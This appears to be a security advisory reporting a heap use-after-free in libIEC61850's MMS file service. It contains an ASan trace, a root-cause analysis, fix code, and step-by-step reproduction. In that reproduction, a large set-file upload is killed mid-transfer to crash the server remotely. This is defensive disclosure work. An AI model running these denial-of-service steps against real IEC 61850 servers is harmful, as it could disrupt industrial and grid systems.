Summary
A heap use-after-free exists in the MMS file service implementation of libIEC61850 in the v1.6_develop HEAD commit 196bb76.
The bug is triggered when an ObtainFile / set-file transfer is still in progress and the peer disconnects unexpectedly. The server-side asynchronous upload task (MmsObtainFileTask) keeps a stale raw pointer to the per-connection object (MmsServerConnection). During disconnect handling, the task is only moved to MMS_FILE_UPLOAD_STATE_INTERRUPTED, but its connection field is not cleared. The connection object is then freed by MmsServerConnection_destroy. In the next background-task iteration, mmsServer_fileUploadTask dereferences task->connection->isoConnection before the interrupted-state cleanup path runs, causing a heap-use-after-free.
This issue is reproducible with the official examples:
- server:
examples/server_example_files/server_example_files.c
- client:
examples/iec61850_client_example_files/file-tool.c
The crash occurs in the library code under src/, not in example-specific logic.
Version
Validated commit: 196bb76db9a560b92fc12284c10da7720920b164
Version: 1.6.1+
Full ASan Outcome
Click here for full ASan
=================================================================
==137324==ERROR: AddressSanitizer: heap-use-after-free on address 0x61100000ff58 at pc 0x5a794583e763 bp 0x7e94ffbfe2f0 sp 0x7e94ffbfe2e8
READ of size 8 at 0x61100000ff58 thread T1
#0 0x5a794583e762 in mmsServer_fileUploadTask /home/weichuan/wc/libiec61850/src/mms/iso_mms/server/mms_file_service.c:487:53
#1 0x5a79456c9659 in MmsServer_handleBackgroundTasks /home/weichuan/wc/libiec61850/src/mms/iso_mms/server/mms_server.c:874:13
#2 0x5a79457295d6 in processPeriodicTasks /home/weichuan/wc/libiec61850/src/iec61850/server/mms_mapping/mms_mapping.c:4987:9
#3 0x5a79457293a3 in IedServer_performPeriodicTasks /home/weichuan/wc/libiec61850/src/iec61850/server/mms_mapping/mms_mapping.c:4993:5
#4 0x5a79456eea8b in singleThreadedServerThread /home/weichuan/wc/libiec61850/src/iec61850/server/impl/ied_server.c:862:9
#5 0x7e9502294ac2 in start_thread nptl/./nptl/pthread_create.c:442:8
#6 0x7e95023268cf misc/../sysdeps/unix/sysv/linux/x86_64/clone3.S:81
0x61100000ff58 is located 24 bytes inside of 224-byte region [0x61100000ff40,0x611000010020)
freed by thread T1 here:
#0 0x5a7945676fd2 in free (/home/weichuan/wc/libiec61850/build-asan/examples/server_example_files/server_example_files+0x229fd2) (BuildId: 36ffb47aac6574d8ad306a00a8bbf6158c175554)
#1 0x5a79458e8a18 in Memory_free /home/weichuan/wc/libiec61850/hal/memory/lib_memory.c:66:5
#2 0x5a79456ce655 in MmsServerConnection_destroy /home/weichuan/wc/libiec61850/src/mms/iso_mms/server/mms_server_connection.c:848:5
#3 0x5a79456c90e0 in isoConnectionIndicationHandler /home/weichuan/wc/libiec61850/src/mms/iso_mms/server/mms_server.c:718:13
#4 0x5a79457dd1f0 in removeTerminatedConnections /home/weichuan/wc/libiec61850/src/mms/iso_server/iso_server.c:277:21
#5 0x5a79457dd1f0 in handleClientConnections /home/weichuan/wc/libiec61850/src/mms/iso_server/iso_server.c:463:5
#6 0x5a79457dbb30 in handleIsoConnections /home/weichuan/wc/libiec61850/src/mms/iso_server/iso_server.c
#7 0x5a79457dbb30 in IsoServer_processIncomingMessages /home/weichuan/wc/libiec61850/src/mms/iso_server/iso_server.c:867:9
#8 0x5a79456c957f in MmsServer_handleIncomingMessages /home/weichuan/wc/libiec61850/src/mms/iso_mms/server/mms_server.c:846:13
#9 0x5a79456eea83 in singleThreadedServerThread /home/weichuan/wc/libiec61850/src/iec61850/server/impl/ied_server.c:860:9
#10 0x7e9502294ac2 in start_thread nptl/./nptl/pthread_create.c:442:8
previously allocated by thread T1 here:
#0 0x5a7945677468 in __interceptor_calloc (/home/weichuan/wc/libiec61850/build-asan/examples/server_example_files/server_example_files+0x22a468) (BuildId: 36ffb47aac6574d8ad306a00a8bbf6158c175554)
#1 0x5a79458e899a in Memory_calloc /home/weichuan/wc/libiec61850/hal/memory/lib_memory.c:44:20
#2 0x5a79456ca5e1 in MmsServerConnection_init /home/weichuan/wc/libiec61850/src/mms/iso_mms/server/mms_server_connection.c:802:38
#3 0x5a79456c8e44 in isoConnectionIndicationHandler /home/weichuan/wc/libiec61850/src/mms/iso_mms/server/mms_server.c:687:38
#4 0x5a79457dbb28 in handleIsoConnections /home/weichuan/wc/libiec61850/src/mms/iso_server/iso_server.c:571:13
#5 0x5a79457dbb28 in IsoServer_processIncomingMessages /home/weichuan/wc/libiec61850/src/mms/iso_server/iso_server.c:867:9
#6 0x5a79456c957f in MmsServer_handleIncomingMessages /home/weichuan/wc/libiec61850/src/mms/iso_mms/server/mms_server.c:846:13
#7 0x5a79456eea83 in singleThreadedServerThread /home/weichuan/wc/libiec61850/src/iec61850/server/impl/ied_server.c:860:9
#8 0x7e9502294ac2 in start_thread nptl/./nptl/pthread_create.c:442:8
Thread T1 created by T0 here:
#0 0x5a79456606fc in pthread_create (/home/weichuan/wc/libiec61850/build-asan/examples/server_example_files/server_example_files+0x2136fc) (BuildId: 36ffb47aac6574d8ad306a00a8bbf6158c175554)
#1 0x5a79458e77cc in Thread_start /home/weichuan/wc/libiec61850/hal/thread/linux/thread_linux.c:89:9
#2 0x5a79456ee815 in IedServer_start /home/weichuan/wc/libiec61850/src/iec61850/server/impl/ied_server.c:886:9
#3 0x5a79456b20d7 in main /home/weichuan/wc/libiec61850/examples/server_example_files/server_example_files.c:83:5
#4 0x7e9502229d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
SUMMARY: AddressSanitizer: heap-use-after-free /home/weichuan/wc/libiec61850/src/mms/iso_mms/server/mms_file_service.c:487:53 in mmsServer_fileUploadTask
Shadow bytes around the buggy address:
0x0c227fff9f90: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c227fff9fa0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c227fff9fb0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c227fff9fc0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c227fff9fd0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c227fff9fe0: fa fa fa fa fa fa fa fa fd fd fd[fd]fd fd fd fd
0x0c227fff9ff0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c227fffa000: fd fd fd fd fa fa fa fa fa fa fa fa fa fa fa fa
0x0c227fffa010: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c227fffa020: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c227fffa030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==137324==ABORTING
Impact
Security impact: remote server-side denial of service via heap use-after-free in the MMS file-service state machine.
An attacker who can reach a deployment exposing the MMS file service path used by ObtainFile / set-file can:
- establish a normal MMS connection,
- start a large file transfer through the legitimate file-service path,
- abort the client process or otherwise force an abnormal disconnect while the upload task is still active.
After disconnect, the server may free the MmsServerConnection object while a background file-upload task still references it. The next periodic background-task pass dereferences the freed object and crashes the server process under ASan, and on non-sanitized builds this can still result in a real crash or other unsafe memory behavior.
At minimum, this is a remote DoS issue in library code. Because the fault is a true heap use-after-free on a connection-associated heap object, the underlying primitive is more severe than a pure logic bug.
Affected Path
Protocol path
MMS file service -> ObtainFile / set-file upload -> disconnect during active transfer -> background task processing
Relevant source files
src/mms/inc_private/mms_server_internal.h
src/mms/iso_mms/server/mms_file_service.c
src/mms/iso_mms/server/mms_server_connection.c
src/mms/iso_mms/server/mms_server.c
src/iec61850/server/mms_mapping/mms_mapping.c
src/iec61850/server/impl/ied_server.c
Observed crash path
mmsServer_fileUploadTask
-> MmsServer_handleBackgroundTasks
-> processPeriodicTasks
-> IedServer_performPeriodicTasks
-> singleThreadedServerThread
Observed free path
MmsServerConnection_destroy
-> isoConnectionIndicationHandler
-> removeTerminatedConnections / handleClientConnections
-> IsoServer_processIncomingMessages
-> MmsServer_handleIncomingMessages
-> singleThreadedServerThread
Root Cause
1. The ObtainFile task stores a raw connection pointer
MmsObtainFileTask keeps a persistent MmsServerConnection pointer inside the task object.
This means the asynchronous file-upload task directly depends on the lifetime of the per-connection heap object.
Conceptually, the task structure contains:
struct sMmsObtainFileTask {
MmsServerConnection connection;
...
int state;
...
};
This is the fundamental ownership problem: the task is longer-lived than a single request, but it only stores a borrowed raw pointer to a connection object that can be destroyed independently.
2. ObtainFile task creation binds the task to the live connection
During ObtainFile handling, the implementation assigns the active connection into the task and transitions the task into the file-upload state machine.
The relevant logic is effectively:
task->connection = connection;
task->obtainFileRequestInvokeId = invokeId;
task->lastRequestInvokeId = MmsServerConnection_getNextRequestInvokeId(connection);
...
task->state = MMS_FILE_UPLOAD_STATE_FILE_OPEN_SENT;
This is the point where the background task becomes tied to the connection object's lifetime.
3. Normal task cleanup clears the connection pointer
The library already contains a proper cleanup routine, changeObtainFileStateToUnused, which fully resets the task and explicitly nulls the pointer:
task->connection = NULL;
...
task->state = MMS_FILE_UPLOAD_STATE_NOT_USED;
This is important because it shows the implementation already recognizes that task->connection must be invalidated when the task is reclaimed.
4. Disconnect cleanup does not clear the pointer
On connection teardown, the helper that stops file-upload tasks only marks matching tasks as interrupted. It does not clear task->connection.
Its effective behavior is:
if (server->fileUploadTasks[i].connection == self) {
server->fileUploadTasks[i].state = MMS_FILE_UPLOAD_STATE_INTERRUPTED;
}
So after disconnect handling, the task is only half-cleaned:
- the state changes to
INTERRUPTED,
- but the raw connection pointer still points to the same heap object.
5. The connection object is then freed
MmsServerConnection_destroy invokes the file-upload stop helper and later frees the connection object itself.
So the ordering is:
- mark task as interrupted,
- keep
task->connection unchanged,
- free
self.
At that point the task contains a dangling pointer.
6. Background task processing dereferences the stale pointer before interrupted-state cleanup
The decisive bug is in mmsServer_fileUploadTask. At function entry it dereferences the connection pointer immediately:
ByteBuffer* message = NULL;
IsoConnection isoConnection = task->connection->isoConnection;
Only after that does it continue toward the task-state handling logic, including the MMS_FILE_UPLOAD_STATE_INTERRUPTED case.
This means the intended interrupted-state cleanup is too late. The code reaches the stale-pointer dereference before it reaches the branch that would reclaim the task.
Reproduction
Build commands
Run in the repository root:
CC=clang CXX=clang++ cmake -S . -B build-asan \
-DCMAKE_BUILD_TYPE=Debug \
-DBUILD_EXAMPLES=ON \
-DBUILD_TESTS=OFF \
-DCMAKE_C_FLAGS="-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined" \
-DCMAKE_CXX_FLAGS="-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined" \
-DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address,undefined" \
-DCMAKE_SHARED_LINKER_FLAGS="-fsanitize=address,undefined"
cmake --build build-asan -j"$(nproc)"
Prepare the runtime directories
rm -rf /tmp/libiec61850-uaf
mkdir -p /tmp/libiec61850-uaf/file_server/vmd-filestore
mkdir -p /tmp/libiec61850-uaf/file_client
cp examples/server_example_files/vmd-filestore/test \
/tmp/libiec61850-uaf/file_server/vmd-filestore/test
printf 'x\n' > /tmp/libiec61850-uaf/file_server/vmd-filestore/IEDSERVER.BIN
cp examples/server_example_files/vmd-filestore/test \
/tmp/libiec61850-uaf/file_client/test
dd if=/dev/zero of=/tmp/libiec61850-uaf/file_client/big.bin \
bs=1M count=256
A large file is used so that the upload is still active when the client is killed.
Terminal 1: start the official example server
cd /tmp/libiec61850-uaf/file_server
/.../libiec61850/build-asan/examples/server_example_files/server_example_files 11013
Expected startup banner:
Using libIEC61850 version 1.6.1
Terminal 2: start the official example client and kill it during upload
cd /tmp/libiec61850-uaf/file_client
timeout -s KILL 1.0s \
/.../libiec61850/build-asan/examples/iec61850_client_example_files/file-tool \
-h 127.0.0.1 -p 11013 set big.bin
Important: use a relative path (set big.bin) exactly as shown above.
Observed client output
local dir: .
local file: big.bin
filestore basepath: ./
Killed
Observed server output
Using libIEC61850 version 1.6.1
Connection opened
fileAccessHandler: service = 2, local-file: big.bin other-file: big.bin
Connection closed
=================================================================
==137324==ERROR: AddressSanitizer: heap-use-after-free on address 0x61100000ff58
READ of size 8 at 0x61100000ff58 thread T1
#0 mmsServer_fileUploadTask .../src/mms/iso_mms/server/mms_file_service.c:487:53
#1 MmsServer_handleBackgroundTasks .../src/mms/iso_mms/server/mms_server.c:874:13
#2 processPeriodicTasks .../src/iec61850/server/mms_mapping/mms_mapping.c:4987:9
#3 IedServer_performPeriodicTasks .../src/iec61850/server/mms_mapping/mms_mapping.c:4993:5
#4 singleThreadedServerThread .../src/iec61850/server/impl/ied_server.c:862:9
...
freed by thread T1 here:
#2 MmsServerConnection_destroy .../src/mms/iso_mms/server/mms_server_connection.c:848:5
...
previously allocated by thread T1 here:
#2 MmsServerConnection_init .../src/mms/iso_mms/server/mms_server_connection.c:802:38
Post-crash cleanup before repeating
rm -f /tmp/libiec61850-uaf/file_server/vmd-filestore/big.bin
Then restart the example server and rerun the client command.
Fix Suggestion
A complete fix should address both sides of the lifetime bug:
- Disconnect handling must detach the task from the connection immediately.
- Background task processing must not dereference
task->connection before validating it under the task lock.
Fixing only one side leaves the code fragile.
Recommended remediation strategy
A. Fully detach / reclaim matching file-upload tasks during connection teardown
When a connection is being destroyed, tasks associated with that connection should be reclaimed while holding the task lock, instead of only setting state = INTERRUPTED.
A robust approach is to introduce a helper like:
static void
abortObtainFileTaskOnDisconnect(MmsObtainFileTask task)
{
#if (CONFIG_MMS_THREADLESS_STACK != 1)
Semaphore_wait(task->taskLock);
#endif
if (task->fileHandle) {
FileSystem_closeFile(task->fileHandle);
task->fileHandle = NULL;
}
task->connection = NULL;
task->frmsId = 0;
task->destinationFilename[0] = 0;
task->obtainFileRequestInvokeId = 0;
task->lastRequestInvokeId = 0;
task->nextTimeout = 0;
task->state = MMS_FILE_UPLOAD_STATE_NOT_USED;
#if (CONFIG_MMS_THREADLESS_STACK != 1)
Semaphore_post(task->taskLock);
#endif
}
Then in the disconnect path:
void
mmsServerConnection_stopFileUploadTasks(MmsServerConnection self)
{
MmsServer server = self->server;
for (int i = 0; i < CONFIG_MMS_SERVER_MAX_GET_FILE_TASKS; i++) {
if (server->fileUploadTasks[i].connection == self) {
abortObtainFileTaskOnDisconnect(&(server->fileUploadTasks[i]));
}
}
}
This is the safest behavior because once the peer is gone, there is no valid target left for the upload task anyway.
B. Guard mmsServer_fileUploadTask against stale / NULL connections before dereference
Even with improved disconnect cleanup, mmsServer_fileUploadTask should not dereference task->connection before validating it.
Suggested restructuring:
void
mmsServer_fileUploadTask(MmsServer self, MmsObtainFileTask task, int taskState)
{
ByteBuffer* message = NULL;
IsoConnection isoConnection = NULL;
#if (CONFIG_MMS_THREADLESS_STACK != 1)
Semaphore_wait(task->taskLock);
#endif
if (task->state != taskState) {
#if (CONFIG_MMS_THREADLESS_STACK != 1)
Semaphore_post(task->taskLock);
#endif
return;
}
if (task->connection == NULL) {
changeObtainFileStateToUnused(task);
#if (CONFIG_MMS_THREADLESS_STACK != 1)
Semaphore_post(task->taskLock);
#endif
return;
}
isoConnection = task->connection->isoConnection;
#if (CONFIG_MMS_THREADLESS_STACK != 1)
Semaphore_post(task->taskLock);
#endif
/* continue with the existing state machine */
}
This prevents the stale-pointer dereference even if some future path forgets to detach the task correctly.
Summary
A heap use-after-free exists in the MMS file service implementation of libIEC61850 in the
v1.6_developHEAD commit196bb76.The bug is triggered when an ObtainFile / set-file transfer is still in progress and the peer disconnects unexpectedly. The server-side asynchronous upload task (
MmsObtainFileTask) keeps a stale raw pointer to the per-connection object (MmsServerConnection). During disconnect handling, the task is only moved toMMS_FILE_UPLOAD_STATE_INTERRUPTED, but itsconnectionfield is not cleared. The connection object is then freed byMmsServerConnection_destroy. In the next background-task iteration,mmsServer_fileUploadTaskdereferencestask->connection->isoConnectionbefore the interrupted-state cleanup path runs, causing a heap-use-after-free.This issue is reproducible with the official examples:
examples/server_example_files/server_example_files.cexamples/iec61850_client_example_files/file-tool.cThe crash occurs in the library code under
src/, not in example-specific logic.Version
Validated commit:
196bb76db9a560b92fc12284c10da7720920b164Version:
1.6.1+Full ASan Outcome
Click here for full ASan
================================================================= ==137324==ERROR: AddressSanitizer: heap-use-after-free on address 0x61100000ff58 at pc 0x5a794583e763 bp 0x7e94ffbfe2f0 sp 0x7e94ffbfe2e8 READ of size 8 at 0x61100000ff58 thread T1 #0 0x5a794583e762 in mmsServer_fileUploadTask /home/weichuan/wc/libiec61850/src/mms/iso_mms/server/mms_file_service.c:487:53 #1 0x5a79456c9659 in MmsServer_handleBackgroundTasks /home/weichuan/wc/libiec61850/src/mms/iso_mms/server/mms_server.c:874:13 #2 0x5a79457295d6 in processPeriodicTasks /home/weichuan/wc/libiec61850/src/iec61850/server/mms_mapping/mms_mapping.c:4987:9 #3 0x5a79457293a3 in IedServer_performPeriodicTasks /home/weichuan/wc/libiec61850/src/iec61850/server/mms_mapping/mms_mapping.c:4993:5 #4 0x5a79456eea8b in singleThreadedServerThread /home/weichuan/wc/libiec61850/src/iec61850/server/impl/ied_server.c:862:9 #5 0x7e9502294ac2 in start_thread nptl/./nptl/pthread_create.c:442:8 #6 0x7e95023268cf misc/../sysdeps/unix/sysv/linux/x86_64/clone3.S:81 0x61100000ff58 is located 24 bytes inside of 224-byte region [0x61100000ff40,0x611000010020) freed by thread T1 here: #0 0x5a7945676fd2 in free (/home/weichuan/wc/libiec61850/build-asan/examples/server_example_files/server_example_files+0x229fd2) (BuildId: 36ffb47aac6574d8ad306a00a8bbf6158c175554) #1 0x5a79458e8a18 in Memory_free /home/weichuan/wc/libiec61850/hal/memory/lib_memory.c:66:5 #2 0x5a79456ce655 in MmsServerConnection_destroy /home/weichuan/wc/libiec61850/src/mms/iso_mms/server/mms_server_connection.c:848:5 #3 0x5a79456c90e0 in isoConnectionIndicationHandler /home/weichuan/wc/libiec61850/src/mms/iso_mms/server/mms_server.c:718:13 #4 0x5a79457dd1f0 in removeTerminatedConnections /home/weichuan/wc/libiec61850/src/mms/iso_server/iso_server.c:277:21 #5 0x5a79457dd1f0 in handleClientConnections /home/weichuan/wc/libiec61850/src/mms/iso_server/iso_server.c:463:5 #6 0x5a79457dbb30 in handleIsoConnections /home/weichuan/wc/libiec61850/src/mms/iso_server/iso_server.c #7 0x5a79457dbb30 in IsoServer_processIncomingMessages /home/weichuan/wc/libiec61850/src/mms/iso_server/iso_server.c:867:9 #8 0x5a79456c957f in MmsServer_handleIncomingMessages /home/weichuan/wc/libiec61850/src/mms/iso_mms/server/mms_server.c:846:13 #9 0x5a79456eea83 in singleThreadedServerThread /home/weichuan/wc/libiec61850/src/iec61850/server/impl/ied_server.c:860:9 #10 0x7e9502294ac2 in start_thread nptl/./nptl/pthread_create.c:442:8 previously allocated by thread T1 here: #0 0x5a7945677468 in __interceptor_calloc (/home/weichuan/wc/libiec61850/build-asan/examples/server_example_files/server_example_files+0x22a468) (BuildId: 36ffb47aac6574d8ad306a00a8bbf6158c175554) #1 0x5a79458e899a in Memory_calloc /home/weichuan/wc/libiec61850/hal/memory/lib_memory.c:44:20 #2 0x5a79456ca5e1 in MmsServerConnection_init /home/weichuan/wc/libiec61850/src/mms/iso_mms/server/mms_server_connection.c:802:38 #3 0x5a79456c8e44 in isoConnectionIndicationHandler /home/weichuan/wc/libiec61850/src/mms/iso_mms/server/mms_server.c:687:38 #4 0x5a79457dbb28 in handleIsoConnections /home/weichuan/wc/libiec61850/src/mms/iso_server/iso_server.c:571:13 #5 0x5a79457dbb28 in IsoServer_processIncomingMessages /home/weichuan/wc/libiec61850/src/mms/iso_server/iso_server.c:867:9 #6 0x5a79456c957f in MmsServer_handleIncomingMessages /home/weichuan/wc/libiec61850/src/mms/iso_mms/server/mms_server.c:846:13 #7 0x5a79456eea83 in singleThreadedServerThread /home/weichuan/wc/libiec61850/src/iec61850/server/impl/ied_server.c:860:9 #8 0x7e9502294ac2 in start_thread nptl/./nptl/pthread_create.c:442:8 Thread T1 created by T0 here: #0 0x5a79456606fc in pthread_create (/home/weichuan/wc/libiec61850/build-asan/examples/server_example_files/server_example_files+0x2136fc) (BuildId: 36ffb47aac6574d8ad306a00a8bbf6158c175554) #1 0x5a79458e77cc in Thread_start /home/weichuan/wc/libiec61850/hal/thread/linux/thread_linux.c:89:9 #2 0x5a79456ee815 in IedServer_start /home/weichuan/wc/libiec61850/src/iec61850/server/impl/ied_server.c:886:9 #3 0x5a79456b20d7 in main /home/weichuan/wc/libiec61850/examples/server_example_files/server_example_files.c:83:5 #4 0x7e9502229d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16 SUMMARY: AddressSanitizer: heap-use-after-free /home/weichuan/wc/libiec61850/src/mms/iso_mms/server/mms_file_service.c:487:53 in mmsServer_fileUploadTask Shadow bytes around the buggy address: 0x0c227fff9f90: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c227fff9fa0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c227fff9fb0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c227fff9fc0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c227fff9fd0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa =>0x0c227fff9fe0: fa fa fa fa fa fa fa fa fd fd fd[fd]fd fd fd fd 0x0c227fff9ff0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c227fffa000: fd fd fd fd fa fa fa fa fa fa fa fa fa fa fa fa 0x0c227fffa010: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c227fffa020: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c227fffa030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==137324==ABORTINGImpact
Security impact: remote server-side denial of service via heap use-after-free in the MMS file-service state machine.
An attacker who can reach a deployment exposing the MMS file service path used by ObtainFile / set-file can:
After disconnect, the server may free the
MmsServerConnectionobject while a background file-upload task still references it. The next periodic background-task pass dereferences the freed object and crashes the server process under ASan, and on non-sanitized builds this can still result in a real crash or other unsafe memory behavior.At minimum, this is a remote DoS issue in library code. Because the fault is a true heap use-after-free on a connection-associated heap object, the underlying primitive is more severe than a pure logic bug.
Affected Path
Protocol path
MMS file service -> ObtainFile / set-file upload -> disconnect during active transfer -> background task processingRelevant source files
src/mms/inc_private/mms_server_internal.hsrc/mms/iso_mms/server/mms_file_service.csrc/mms/iso_mms/server/mms_server_connection.csrc/mms/iso_mms/server/mms_server.csrc/iec61850/server/mms_mapping/mms_mapping.csrc/iec61850/server/impl/ied_server.cObserved crash path
Observed free path
Root Cause
1. The ObtainFile task stores a raw connection pointer
MmsObtainFileTaskkeeps a persistentMmsServerConnectionpointer inside the task object.This means the asynchronous file-upload task directly depends on the lifetime of the per-connection heap object.
Conceptually, the task structure contains:
This is the fundamental ownership problem: the task is longer-lived than a single request, but it only stores a borrowed raw pointer to a connection object that can be destroyed independently.
2. ObtainFile task creation binds the task to the live connection
During ObtainFile handling, the implementation assigns the active connection into the task and transitions the task into the file-upload state machine.
The relevant logic is effectively:
This is the point where the background task becomes tied to the connection object's lifetime.
3. Normal task cleanup clears the connection pointer
The library already contains a proper cleanup routine,
changeObtainFileStateToUnused, which fully resets the task and explicitly nulls the pointer:This is important because it shows the implementation already recognizes that
task->connectionmust be invalidated when the task is reclaimed.4. Disconnect cleanup does not clear the pointer
On connection teardown, the helper that stops file-upload tasks only marks matching tasks as interrupted. It does not clear
task->connection.Its effective behavior is:
So after disconnect handling, the task is only half-cleaned:
INTERRUPTED,5. The connection object is then freed
MmsServerConnection_destroyinvokes the file-upload stop helper and later frees the connection object itself.So the ordering is:
task->connectionunchanged,self.At that point the task contains a dangling pointer.
6. Background task processing dereferences the stale pointer before interrupted-state cleanup
The decisive bug is in
mmsServer_fileUploadTask. At function entry it dereferences the connection pointer immediately:Only after that does it continue toward the task-state handling logic, including the
MMS_FILE_UPLOAD_STATE_INTERRUPTEDcase.This means the intended interrupted-state cleanup is too late. The code reaches the stale-pointer dereference before it reaches the branch that would reclaim the task.
Reproduction
Build commands
Run in the repository root:
Prepare the runtime directories
A large file is used so that the upload is still active when the client is killed.
Terminal 1: start the official example server
cd /tmp/libiec61850-uaf/file_server /.../libiec61850/build-asan/examples/server_example_files/server_example_files 11013Expected startup banner:
Terminal 2: start the official example client and kill it during upload
Important: use a relative path (
set big.bin) exactly as shown above.Observed client output
Observed server output
Using libIEC61850 version 1.6.1 Connection opened fileAccessHandler: service = 2, local-file: big.bin other-file: big.bin Connection closed ================================================================= ==137324==ERROR: AddressSanitizer: heap-use-after-free on address 0x61100000ff58 READ of size 8 at 0x61100000ff58 thread T1 #0 mmsServer_fileUploadTask .../src/mms/iso_mms/server/mms_file_service.c:487:53 #1 MmsServer_handleBackgroundTasks .../src/mms/iso_mms/server/mms_server.c:874:13 #2 processPeriodicTasks .../src/iec61850/server/mms_mapping/mms_mapping.c:4987:9 #3 IedServer_performPeriodicTasks .../src/iec61850/server/mms_mapping/mms_mapping.c:4993:5 #4 singleThreadedServerThread .../src/iec61850/server/impl/ied_server.c:862:9 ... freed by thread T1 here: #2 MmsServerConnection_destroy .../src/mms/iso_mms/server/mms_server_connection.c:848:5 ... previously allocated by thread T1 here: #2 MmsServerConnection_init .../src/mms/iso_mms/server/mms_server_connection.c:802:38Post-crash cleanup before repeating
Then restart the example server and rerun the client command.
Fix Suggestion
A complete fix should address both sides of the lifetime bug:
task->connectionbefore validating it under the task lock.Fixing only one side leaves the code fragile.
Recommended remediation strategy
A. Fully detach / reclaim matching file-upload tasks during connection teardown
When a connection is being destroyed, tasks associated with that connection should be reclaimed while holding the task lock, instead of only setting
state = INTERRUPTED.A robust approach is to introduce a helper like:
Then in the disconnect path:
This is the safest behavior because once the peer is gone, there is no valid target left for the upload task anyway.
B. Guard
mmsServer_fileUploadTaskagainst stale / NULL connections before dereferenceEven with improved disconnect cleanup,
mmsServer_fileUploadTaskshould not dereferencetask->connectionbefore validating it.Suggested restructuring:
This prevents the stale-pointer dereference even if some future path forgets to detach the task correctly.